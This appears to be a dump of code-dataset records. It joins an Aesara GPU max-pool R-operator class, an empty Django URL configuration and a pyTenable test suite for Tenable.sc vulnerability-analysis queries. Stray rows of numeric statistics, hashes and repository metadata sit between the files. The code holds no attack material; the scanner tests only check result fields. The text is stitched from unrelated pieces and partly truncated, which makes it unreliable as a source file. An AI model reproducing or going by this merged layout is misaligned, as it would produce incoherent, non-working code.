class GpuMaxPoolRop(CGpuKernelBase):
"""
Implements the R-operator for the downsample operation.
"""
__props__ = ("ignore_border", "mode", "ndim")
params_type = ParamsType(ignore_border=bool_t, context=gpu_context_type)
def __init__(self, ignore_border, mode="max", ndim=2):
self.ndim = ndim
self.ignore_border = ignore_border
self.mode = mode
CGpuKernelBase.__init__(
self, ["c_code/pool_max_rop.c"], "APPLY_SPECIFIC(max_pool_rop)"
)
assert mode == "max"
assert ndim in [2, 3]
def get_params(self, node):
return self.params_type.get_params(self, context=node.inputs[0].type.context)
def c_headers(self, **kwargs):
return ["gpuarray_api.h", "gpuarray_helper.h", "numpy_compat.h"]
def c_header_dirs(self, **kwargs):
return [gpuarray_helper_inc_dir(), pygpu.get_include()]
def make_node(self, inp, eval_point, ws, stride=None, pad=None):
ctx_name = infer_context_name(inp)
nd = self.ndim
inp = as_gpuarray_variable(inp, ctx_name)
assert inp.ndim == nd + 2
eval_point = as_gpuarray_variable(eval_point, ctx_name)
assert eval_point.ndim == nd + 2
if stride is None:
stride = ws
if pad is None:
pad = (0,) * nd
elif isinstance(pad, (tuple, list)):
if max(pad) != 0 and not self.ignore_border:
raise ValueError("Padding works only with ignore_border=True")
if isinstance(ws, (tuple, list)):
if any(pad[i] >= ws[i] for i in range(nd)):
raise ValueError("Padding must be smaller than strides")
ws = as_tensor_variable(ws)
stride = as_tensor_variable(stride)
pad = as_tensor_variable(pad)
assert ws.ndim == stride.ndim and ws.ndim == pad.ndim
assert ws.ndim == 1
if ws.dtype not in int_dtypes:
raise TypeError("Window shape parameters must be ints.")
if stride.dtype not in int_dtypes:
raise TypeError("Stride parameters must be ints.")
if pad.dtype not in int_dtypes:
raise TypeError("Padding parameters must be ints.")
ws = aesara.tensor.cast(ws, "int64")
stride = aesara.tensor.cast(stride, "int64")
pad = aesara.tensor.cast(pad, "int64")
return Apply(self, [inp, eval_point, ws, stride, pad], [eval_point.type()])
def infer_shape(self, fgraph, node, in_shapes):
ws, stride, pad = [node.inputs[2], node.inputs[3], node.inputs[4]]
shp = Pool.out_shape(
in_shapes[0], ws, self.ignore_border, stride, pad, self.ndim
)
return [shp]
| 35.372197
| 86
| 0.604336
| 2,087
| 15,776
| 4.379971
| 0.087207
| 0.051198
| 0.035007
| 0.021332
| 0.821026
| 0.799475
| 0.788754
| 0.771579
| 0.738978
| 0.734712
| 0
| 0.009885
| 0.28182
| 15,776
| 445
| 87
| 35.451685
| 0.796911
| 0.033532
| 0
| 0.720117
| 0
| 0
| 0.0963
| 0.013456
| 0
| 0
| 0
| 0
| 0.104956
| 1
| 0.107872
| false
| 0.002915
| 0.03207
| 0.058309
| 0.279883
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fe29d9b9384f179c013b1d09c6ea1d3037e5ab56
| 181
|
py
|
Python
|
social_stream/facebook/urls.py
|
chalkchisel/django-social-stream
|
89a5c83845091842f915f32202f03472e9d67b89
|
[
"MIT"
] | null | null | null |
social_stream/facebook/urls.py
|
chalkchisel/django-social-stream
|
89a5c83845091842f915f32202f03472e9d67b89
|
[
"MIT"
] | null | null | null |
social_stream/facebook/urls.py
|
chalkchisel/django-social-stream
|
89a5c83845091842f915f32202f03472e9d67b89
|
[
"MIT"
] | null | null | null |
from django.conf.urls import include
from django.conf.urls import patterns
from django.conf.urls import url
from django.http import HttpResponse
urlpatterns = patterns(
'',
)
| 18.1
| 37
| 0.779006
| 25
| 181
| 5.64
| 0.44
| 0.283688
| 0.297872
| 0.382979
| 0.510638
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149171
| 181
| 9
| 38
| 20.111111
| 0.915584
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.571429
| 0
| 0.571429
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
fe378c1fd22e97ff6de83d64006919979ac9ba53
| 38,886
|
py
|
Python
|
tests/sc/test_analysis.py
|
39biradar/pyTenable
|
a055140bc864bb950fd1053ab598ff2da12cf408
|
[
"MIT"
] | null | null | null |
tests/sc/test_analysis.py
|
39biradar/pyTenable
|
a055140bc864bb950fd1053ab598ff2da12cf408
|
[
"MIT"
] | null | null | null |
tests/sc/test_analysis.py
|
39biradar/pyTenable
|
a055140bc864bb950fd1053ab598ff2da12cf408
|
[
"MIT"
] | null | null | null |
import pytest
from tenable.sc.analysis import AnalysisResultsIterator
from ..checker import check
from tenable.errors import UnexpectedValueError
def test_analysis_constructor_type_error(sc):
with pytest.raises(TypeError):
sc.analysis._analysis(tool=1, type='type',
sort_field='field',
sort_direction=1)
with pytest.raises(TypeError):
sc.analysis._analysis(tool=1, type='type',
sort_field='field',
sort_direction='ASC',
offset=0,
limit='limit')
def test_analysis_constructor_success(sc):
analysis = sc.analysis._analysis(tool=1, type='type',
sort_field='field',
sort_direction='ASC',
offset=0,
payload={'sourceType': 'individual'})
assert isinstance(analysis, AnalysisResultsIterator)
def test_analysis_asset_expansion_simple(sc):
resp = sc.analysis._combo_expansion(('or', 1, 2))
assert resp == {
'operator': 'union',
'operand1': {'id': '1'},
'operand2': {'id': '2'},
}
def test_analysis_asset_expansion_complex(sc):
resp = sc.analysis._combo_expansion(
('or', ('and', 1, 2), ('not', ('or', 3, 4))))
assert resp == {
'operator': 'union',
'operand1': {
'operator': 'intersection',
'operand1': {'id': '1'},
'operand2': {'id': '2'},
},
'operand2': {
'operator': 'complement',
'operand1': {
'operator': 'union',
'operand1': {'id': '3'},
'operand2': {'id': '4'}
}
}
}
def test_analysis_query_constructor_simple(sc):
resp = sc.analysis._query_constructor(
('filter1', 'operator1', 'value1'),
('filter2', 'operator2', 'value2'),
tool='tool_test',
type='type_test')
assert resp == {
'tool': 'tool_test',
'query': {
'tool': 'tool_test',
'type': 'type_test',
'filters': [{
'filterName': 'filter1',
'operator': 'operator1',
'value': 'value1',
}, {
'filterName': 'filter2',
'operator': 'operator2',
'value': 'value2'
}]
}
}
def test_analysis_query_constructor_replace(sc):
resp = sc.analysis._query_constructor(
('filter1', 'operator1', 'badvalue'),
('filter1', 'operator1', 'value1'),
('filter2', 'operator2', 'value2'),
tool='tool_test',
type='type_test')
assert resp == {
'tool': 'tool_test',
'query': {
'tool': 'tool_test',
'type': 'type_test',
'filters': [{
'filterName': 'filter1',
'operator': 'operator1',
'value': 'value1',
}, {
'filterName': 'filter2',
'operator': 'operator2',
'value': 'value2'
}]
}
}
def test_analysis_query_constructor_remove(sc):
resp = sc.analysis._query_constructor(
('filter3', 'operator1', 'badvalue'),
('filter1', 'operator1', 'value1'),
('filter2', 'operator2', 'value2'),
('filter3', None, None),
tool='tool_test',
type='type_test')
assert resp == {
'tool': 'tool_test',
'query': {
'tool': 'tool_test',
'type': 'type_test',
'filters': [{
'filterName': 'filter1',
'operator': 'operator1',
'value': 'value1',
}, {
'filterName': 'filter2',
'operator': 'operator2',
'value': 'value2'
}]
}
}
def test_analysis_query_constructor_asset(sc):
resp = sc.analysis._query_constructor(('asset', '~', ('or', 1, 2)),
tool='tool', type='type')
assert resp == {
'tool': 'tool',
'query': {
'tool': 'tool',
'type': 'type',
'filters': [{
'filterName': 'asset',
'operator': '~',
'value': {
'operator': 'union',
'operand1': {'id': '1'},
'operand2': {'id': '2'},
}
}]
}
}
def test_analysis_vulns(sc):
vulns = sc.analysis.vulns(source='cumulative', scan_id=1)
assert isinstance(vulns, AnalysisResultsIterator)
def test_analysis_scan(sc):
scan = sc.analysis.scan(1)
assert isinstance(scan, AnalysisResultsIterator)
def test_analysis_events(sc):
event = sc.analysis.events(source='archive', silo_id='silo_id')
assert isinstance(event, AnalysisResultsIterator)
def test_analysis_events_unexpected_value_error(sc):
with pytest.raises(UnexpectedValueError):
sc.analysis.events(source='archive')
@pytest.mark.vcr()
def test_analysis_vulns_cceipdetail_tool(sc):
vulns = sc.analysis.vulns(tool='cceipdetail', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
@pytest.mark.vcr()
def test_analysis_vulns_cveipdetail_tool(sc):
vulns = sc.analysis.vulns(tool='cveipdetail', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'cveID', str)
check(vuln, 'total', str)
check(vuln, 'hosts', list)
host = vuln['hosts'][0]
check(host, 'iplist', list)
check(host, 'repositoryID', str)
for ip_address in host['iplist']:
check(ip_address, 'ip', str)
check(ip_address, 'netbiosName', str)
check(ip_address, 'dnsName', str)
check(ip_address, 'uuid', str)
check(ip_address, 'macAddress', str)
@pytest.mark.vcr()
def test_analysis_vulns_iavmipdetail_tool(sc):
vulns = sc.analysis.vulns(tool='iavmipdetail', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'iavmID', str)
check(vuln, 'total', str)
check(vuln, 'hosts', list)
host = vuln['hosts'][0]
check(host, 'iplist', list)
check(host, 'repositoryID', str)
for ip_address in host['iplist']:
check(ip_address, 'ip', str)
check(ip_address, 'netbiosName', str)
check(ip_address, 'dnsName', str)
check(ip_address, 'uuid', str)
check(ip_address, 'macAddress', str)
@pytest.mark.vcr()
def test_analysis_vulns_iplist_tool(sc):
vulns = sc.analysis.vulns(tool='iplist', pages=2, limit=5)
assert isinstance(vulns, dict)
for vuln in vulns:
check(vulns, vuln, str)
@pytest.mark.vcr()
def test_analysis_vulns_listmailclients_tool(sc):
vulns = sc.analysis.vulns(tool='listmailclients', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listservices_tool(sc):
vulns = sc.analysis.vulns(tool='listservices', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listos_tool(sc):
vulns = sc.analysis.vulns(tool='listos', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listsoftware_tool(sc):
vulns = sc.analysis.vulns(tool='listsoftware', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listsshservers_tool(sc):
vulns = sc.analysis.vulns(tool='listsshservers', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listvuln_tool(sc):
vulns = sc.analysis.vulns(tool='listvuln', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'macAddress', str)
check(vuln, 'uniqueness', str)
check(vuln, 'protocol', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'pluginInfo', str)
check(vuln, 'ip', str)
check(vuln, 'netbiosName', str)
check(vuln, 'name', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
check(vuln, 'pluginID', str)
check(vuln, 'dnsName', str)
check(vuln, 'port', str)
check(vuln, 'uuid', str)
@pytest.mark.vcr()
def test_analysis_vulns_listwebclients_tool(sc):
vulns = sc.analysis.vulns(tool='listwebclients', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_listwebservers_tool(sc):
vulns = sc.analysis.vulns(tool='listwebservers', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'detectionMethod', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumasset_tool(sc):
vulns = sc.analysis.vulns(tool='sumasset', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'total', str)
check(vuln, 'score', str)
check(vuln, 'asset', dict)
check(vuln['asset'], 'status', str)
check(vuln['asset'], 'description', str)
check(vuln['asset'], 'type', str)
check(vuln['asset'], 'id', str)
check(vuln['asset'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumcce_tool(sc):
vulns = sc.analysis.vulns(tool='sumcce', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
@pytest.mark.vcr()
def test_analysis_vulns_sumclassa_tool(sc):
vulns = sc.analysis.vulns(tool='sumclassa', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'total', str)
check(vuln, 'score', str)
check(vuln, 'ip', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumclassb_tool(sc):
vulns = sc.analysis.vulns(tool='sumclassb', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'total', str)
check(vuln, 'score', str)
check(vuln, 'ip', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumclassc_tool(sc):
vulns = sc.analysis.vulns(tool='sumclassc', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'total', str)
check(vuln, 'score', str)
check(vuln, 'ip', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumcve_tool(sc):
vulns = sc.analysis.vulns(tool='sumcve', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'cveID', str)
check(vuln, 'total', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'hostTotal', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumdnsname_tool(sc):
vulns = sc.analysis.vulns(tool='sumdnsname', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'dnsName', str)
check(vuln, 'score', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumfamily_tool(sc):
vulns = sc.analysis.vulns(tool='sumfamily', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'score', str)
check(vuln, 'total', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumiavm_tool(sc):
vulns = sc.analysis.vulns(tool='sumiavm', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'iavmID', str)
check(vuln, 'total', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'hostTotal', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumid_tool(sc):
vulns = sc.analysis.vulns(tool='sumid', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'hostTotal', str)
check(vuln, 'pluginID', str)
check(vuln, 'total', str)
check(vuln, 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumip_tool(sc):
vulns = sc.analysis.vulns(tool='sumip', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'macAddress', str)
check(vuln, 'lastAuthRun', str)
check(vuln, 'ip', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'total', str)
check(vuln, 'mcafeeGUID', str)
check(vuln, 'policyName', str)
check(vuln, 'uuid', str)
check(vuln, 'osCPE', str)
check(vuln, 'uniqueness', str)
check(vuln, 'score', str)
check(vuln, 'dnsName', str)
check(vuln, 'lastUnauthRun', str)
check(vuln, 'biosGUID', str)
check(vuln, 'tpmID', str)
check(vuln, 'pluginSet', str)
check(vuln, 'netbiosName', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_summsbulletin_tool(sc):
vulns = sc.analysis.vulns(tool='summsbulletin', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'msbulletinID', str)
check(vuln, 'total', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'hostTotal', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumport_tool(sc):
vulns = sc.analysis.vulns(tool='sumport', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'port', str)
check(vuln, 'score', str)
check(vuln, 'total', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumprotocol_tool(sc):
vulns = sc.analysis.vulns(tool='sumprotocol', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'protocol', str)
check(vuln, 'score', str)
check(vuln, 'total', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumremediation_tool(sc):
vulns = sc.analysis.vulns(tool='sumremediation', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'hostTotal', str)
check(vuln, 'scorePctg', str)
check(vuln, 'totalPctg', str)
check(vuln, 'msbulletinTotal', str)
check(vuln, 'remediationList', str)
check(vuln, 'cpe', str)
check(vuln, 'cveTotal', str)
check(vuln, 'solution', str)
check(vuln, 'pluginID', str)
check(vuln, 'score', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumseverity_tool(sc):
vulns = sc.analysis.vulns(tool='sumseverity', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'count', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
@pytest.mark.vcr()
def test_analysis_vulns_sumuserresponsibility_tool(sc):
vulns = sc.analysis.vulns(tool='sumuserresponsibility', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
@pytest.mark.vcr()
def test_analysis_vulns_sumuserresponsibility_tool(sc):
vulns = sc.analysis.vulns(tool='sumuserresponsibility', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'score', str)
check(vuln, 'total', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityMedium', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityInfo', str)
check(vuln, 'userList', list)
for user in vuln['userList']:
check(user, 'firstname', str)
check(user, 'id', str)
check(user, 'lastname', str)
check(user, 'status', str)
check(user, 'username', str)
@pytest.mark.vcr()
def test_analysis_vulns_trend_tool(sc):
vulns = sc.analysis.vulns(tool='trend', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
@pytest.mark.vcr()
def test_analysis_vulns_vulndetails_tool(sc):
vulns = sc.analysis.vulns(tool='vulndetails', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'acceptRisk', str)
check(vuln, 'baseScore', str)
check(vuln, 'bid', str)
check(vuln, 'checkType', str)
check(vuln, 'cpe', str)
check(vuln, 'cve', str)
check(vuln, 'cvssV3BaseScore', str)
check(vuln, 'cvssV3TemporalScore', str)
check(vuln, 'cvssV3Vector', str)
check(vuln, 'cvssVector', str)
check(vuln, 'description', str)
check(vuln, 'dnsName', str)
check(vuln, 'exploitAvailable', str)
check(vuln, 'exploitEase', str)
check(vuln, 'exploitFrameworks', str)
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'firstSeen', str)
check(vuln, 'hasBeenMitigated', str)
check(vuln, 'ip', str)
check(vuln, 'lastSeen', str)
check(vuln, 'macAddress', str)
check(vuln, 'netbiosName', str)
check(vuln, 'patchPubDate', str)
check(vuln, 'pluginID', str)
check(vuln, 'pluginInfo', str)
check(vuln, 'pluginModDate', str)
check(vuln, 'pluginName', str)
check(vuln, 'pluginPubDate', str)
check(vuln, 'pluginText', str)
check(vuln, 'port', str)
check(vuln, 'protocol', str)
check(vuln, 'recastRisk', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'dataFormat', str)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
check(vuln, 'riskFactor', str)
check(vuln, 'seeAlso', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'solution', str)
check(vuln, 'stigSeverity', str)
check(vuln, 'synopsis', str)
check(vuln, 'temporalScore', str)
check(vuln, 'uniqueness', str)
check(vuln, 'uuid', str)
check(vuln, 'version', str)
check(vuln, 'vulnPubDate', str)
check(vuln, 'xref', str)
@pytest.mark.vcr()
def test_analysis_vulns_vulnipdetail_tool(sc):
vulns = sc.analysis.vulns(tool='vulnipdetail', pages=2, limit=5)
for vuln in vulns:
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'hosts', list)
host = vuln['hosts'][0]
check(host, 'iplist', list)
check(host, 'repository', dict)
check(host['repository'], 'dataFormat', str)
check(host['repository'], 'description', str)
check(host['repository'], 'id', str)
check(host['repository'], 'name', str)
for ip_address in host['iplist']:
check(ip_address, 'ip', str)
check(ip_address, 'netbiosName', str)
check(ip_address, 'dnsName', str)
check(ip_address, 'uuid', str)
check(ip_address, 'macAddress', str)
check(vuln, 'name', str)
check(vuln, 'pluginDescription', str)
check(vuln, 'pluginID', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_vulns_vulnipsummary_tool(sc):
vulns = sc.analysis.vulns(tool='vulnipsummary', pages=2, limit=5)
for vuln in vulns:
check(vuln, 'family', dict)
check(vuln['family'], 'type', str)
check(vuln['family'], 'id', str)
check(vuln['family'], 'name', str)
check(vuln, 'hosts', list)
host = vuln['hosts'][0]
check(host, 'iplist', str)
check(host, 'repository', dict)
check(host['repository'], 'dataFormat', str)
check(host['repository'], 'description', str)
check(host['repository'], 'id', str)
check(host['repository'], 'name', str)
check(vuln, 'name', str)
check(vuln, 'pluginDescription', str)
check(vuln, 'pluginID', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_console_logs(sc):
logs = sc.analysis.console(pages=2, limit=5)
for log in logs:
assert isinstance(log, dict)
check(log, 'initiator', dict)
check(log['initiator'], 'username', str)
check(log['initiator'], 'firstname', str)
check(log['initiator'], 'lastname', str)
try:
check(log['initiator'], 'id', int)
except AssertionError:
check(log['initiator'], 'id', str)
check(log, 'severity', dict)
check(log['severity'], 'description', str)
check(log['severity'], 'id', str)
check(log['severity'], 'name', str)
check(log, 'rawLog', str)
check(log, 'module', str)
check(log, 'date', 'datetime')
check(log, 'organization', dict)
check(log['organization'], 'description', str)
check(log['organization'], 'id', str)
check(log['organization'], 'name', str)
check(log, 'message', str)
@pytest.mark.vcr()
def test_analysis_mobile_listvuln(sc):
vulns = sc.analysis.mobile(tool='listvuln', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'identifier', str)
check(vuln, 'pluginID', str)
check(vuln, 'pluginName', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
@pytest.mark.vcr()
def test_analysis_mobile_sumdeviceid(sc):
vulns = sc.analysis.mobile(tool='sumdeviceid', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'identifier', str)
check(vuln, 'model', str)
check(vuln, 'repository', dict)
check(vuln['repository'], 'description', str)
check(vuln['repository'], 'id', str)
check(vuln['repository'], 'name', str)
check(vuln, 'score', str)
check(vuln, 'serial', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityInfo', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityMedium', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_mobile_summdmuser(sc):
vulns = sc.analysis.mobile(tool='summdmuser', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'score', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityInfo', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityMedium', str)
check(vuln, 'total', str)
check(vuln, 'user', str)
@pytest.mark.vcr()
def test_analysis_mobile_summodel(sc):
vulns = sc.analysis.mobile(tool='summodel', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'deviceCount', str)
check(vuln, 'model', str)
check(vuln, 'score', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityInfo', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityMedium', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_mobile_sumoscpe(sc):
vulns = sc.analysis.mobile(tool='sumoscpe', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'deviceCount', str)
check(vuln, 'osCPE', str)
check(vuln, 'score', str)
check(vuln, 'severityCritical', str)
check(vuln, 'severityHigh', str)
check(vuln, 'severityInfo', str)
check(vuln, 'severityLow', str)
check(vuln, 'severityMedium', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_mobile_sumpluginid(sc):
vulns = sc.analysis.mobile(tool='sumpluginid', pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'name', str)
check(vuln, 'pluginID', str)
check(vuln, 'severity', dict)
check(vuln['severity'], 'description', str)
check(vuln['severity'], 'id', str)
check(vuln['severity'], 'name', str)
check(vuln, 'total', str)
@pytest.mark.vcr()
def test_analysis_mobile_vulndetails(sc):
vulns = sc.analysis.mobile(pages=2, limit=5)
for vuln in vulns:
assert isinstance(vuln, dict)
check(vuln, 'baseScore', str)
check(vuln, 'bid', str)
